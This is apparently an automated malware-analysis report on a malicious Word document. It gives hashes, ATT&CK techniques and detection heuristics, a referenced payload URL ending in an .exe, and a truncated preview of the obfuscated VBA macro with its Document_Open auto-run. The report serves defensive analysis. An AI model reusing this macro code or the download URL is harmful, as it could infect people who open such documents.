Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 34298601620280e7…

MALICIOUS

Office (OOXML)

32.2 KB Created: 2018-10-22 13:16:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-11-13
MD5: 92d0321c9a9e8e62248be9cc19ca7674 SHA-1: 6336af280952eb812382ecb7f5c01cf1e7d61e31 SHA-256: 34298601620280e77c9531f7bc666b8fb751cae4de9ea775d7841c3487f655bc
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA project. The Document_Open macro is present and triggers obfuscated VBA code that utilizes the Shell() function to download and execute a second-stage payload. The presence of a Document_Open macro and the use of Shell() are strong indicators of a downloader or droppper malware.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updateadovesettings.io/d0bfl465.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 22037 bytes
SHA-256: 20daa12178adb2ac33a318841e1c5764e7afc697b8a706f316c89c41fd7ab66c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const PeSiAxhZCfcCNHfeLvhnTWAAKaqMncGOLE = 253
Private Const CmazJreXvWRLpSALGaMOnPAwWLuCb3026 = 4
Const jWSuJcDTZJTJegOQMvGUYkiTvmlecxwb9 = 42
Private Const EFTzWveQfkQxXOHRKNEvBGhjfv = 6
Const uTXRmiMljfYSBRwWzwfojmHuw9141700957361 = 4
Private Const DmutuIXHnBDudlUhGyzvHTznzyWrZqbNrN253 = 36
Const eWtsfIzPqzmyebBLAxJyCcRvOW0215 = 272
Private Const PJumpiKtMvXddLEJggucoTVwJp848528258343762 = 2905
Const HXURYwEFzShSYUrlHndqnRtwBKcS94327 = 215
Private Const qFQpejoaHFzZLnGpzDHXgkDfue2905 = 9
Const ZQPsiPtQzVunISckJjTFjDIAFnDHdFLCIULVvvDVCTHVcUvYsZNGLZyu = 13156
Private Const EdMSxJEueqtQRzhrVZrgnlXCWH1365 = 6
Const mvLlnutqKwzeaEpoPpmr52825834 = 65
Private Const kpKHeRVdGghBZizGJdIHXzuSCS = 5
Const EFWYJXuVvQbxxHMjPNOzdE2238131556 = 6
Private Const XwihlZpSGJvpvSy13156 = 32
Const wuxsyyolKqBMoQwDUDvWjhdjNk736199 = 139799484
Private Const iqomqyUSVzGDYSWJbEhlhvEejn68422352446614151 = 7627
Const yczXCkDEBwwHjxmWiechxFWzNQTF17009 = 736199
Private Const HGCnwcQcIpqMvJPNGJDxLUTjen7627 = 52825834
Const njYvWxvqInkRobjqVfruQIJJuUQBpWJCzmFEvPhFiUogBaKrAwXuGDBYW = 967671897
Private Const VJhkzSRwyTjmsFLmABZVRuXeaOAChuBldn9924 = 2
Const ftyqCOuvxZWRoJdBnwofbmDJkSOPESxIEK0057 = 62
Private Const JVxayXcOeoyrciRPINMdWSLHYh = 4
Const bOMeckAdahJcLxFnGVLMEITxqnC2341049308 = 2
Private Const tBKWGWzaFExLtDsNopHTsqpGkzfq967671897 = 25
Const vjIzNAYFLLiDWlWdNdhBHHOcQx248 = 25
Private Const RbpNAGSalYeKcYZmmuuYnQghzb957810991198249 = 74
Const IOGnEFxwdLMCGZnRNChrSLiCYEAw4535 = 248
Private Const BQxnNeMMvfjdjJXvAixBeaXpHI74 = 57
Const NNuRmMLcGhPShJiQpPyGkKfRJZiLHMBOKEWETJWKByPyttxuTYFAlxn = 67363804
Private Const adyeTbKnnIFCHDxccLZAql2978 = 8
Const ZxDhcHNdzVpHlTDqHGB774 = 32
Private Const pcUISykCkNCygMDWyFQCweAXbs = 3
Const IYVStoKVYPAFIZPGNOO9955077387804 = 8
Private Const pAiCcUhxXmGaoSZgQthgafGhSw67363804 = 20
Const NJIjlZbUcitRIZiqzQOBOSvQRZ422352446 = 1415136
Private Const vPwBcICjEspdCEVxsGzsnsRBLd39301441494935991 = 978
Const ZsQOXENEINMjGhlgaAWDmUzwHHEZ762206 = 422352446
Private Const fnwEKwCzRYlNJCPWCUbPIVtuid978 = 774



Private Sub Document_Open()
Call MXpZrrZFDjSwBQRtkwyLVEiSjLKcI
End Sub

Private Sub MXpZrrZFDjSwBQRtkwyLVEiSjLKcI()
Dim vxkjpiFuORwOUVHOjXwGJqweI

Dim oAziLhGlJkYJgEhDnMLMTYi

Application.Run "WcujsIsam.QvNdOHWfZ"

Dim xOivPEBFaUuEvgGPH

Dim JhqSPxLIKEiItWnmyBeIaotpThmeB

End Sub




Attribute VB_Name = "WcujsIsam"
Const PeSiAxhZCfcCNHfeLvhnTWAAKaqMncGOLE = 253
Private Const CmazJreXvWRLpSALGaMOnPAwWLuCb3026 = 4
Const jWSuJcDTZJTJegOQMvGUYkiTvmlecxwb9 = 42
Private Const EFTzWveQfkQxXOHRKNEvBGhjfv = 6
Const uTXRmiMljfYSBRwWzwfojmHuw9141700957361 = 4
Private Const DmutuIXHnBDudlUhGyzvHTznzyWrZqbNrN253 = 36
Const eWtsfIzPqzmyebBLAxJyCcRvOW0215 = 272
Private Const PJumpiKtMvXddLEJggucoTVwJp848528258343762 = 2905
Const HXURYwEFzShSYUrlHndqnRtwBKcS94327 = 215
Private Const qFQpejoaHFzZLnGpzDHXgkDfue2905 = 9
Const ZQPsiPtQzVunISckJjTFjDIAFnDHdFLCIULVvvDVCTHVcUvYsZNGLZyu = 13156
Private Const EdMSxJEueqtQRzhrVZrgnlXCWH1365 = 6
Const mvLlnutqKwzeaEpoPpmr52825834 = 65
Private Const kpKHeRVdGghBZizGJdIHXzuSCS = 5
Const EFWYJXuVvQbxxHMjPNOzdE2238131556 = 6
Private Const XwihlZpSGJvpvSy13156 = 32
Const wuxsyyolKqBMoQwDUDvWjhdjNk736199 = 139799484
Private Const iqomqyUSVzGDYSWJbEhlhvEejn68422352446614151 = 7627
Const yczXCkDEBwwHjxmWiechxFWzNQTF17009 = 736199
Private Const HGCnwcQcIpqMvJPNGJDxLUTjen7627 = 52825834
Const njYvWxvqInkRobjqVfruQIJJuUQBpWJCzmFEvPhFiUogBaKrAwXuGDBYW = 967671897
Private Const VJhkzSRwyTjmsFLmABZVRuXeaOAChuBldn9924 = 2
Const ftyqCOuvxZWRoJdBnwofbmDJkSOPESxIEK0057 = 62
Private Const JVxayXcOeoyrciRPINMdWSLHYh = 4
Const bOMeckAdahJcLxFnGVLMEITxqnC2341049308 = 2
Private Const tBKWGWzaFExLtDsNopHTsqpGkzfq967671897 = 25
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 50688 bytes
SHA-256: 4d1dc7fb7419c28cce98d8299dc8f8ab4daff00c238d899dd9be0c5d8cbd04cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 long base64-like blob(s).

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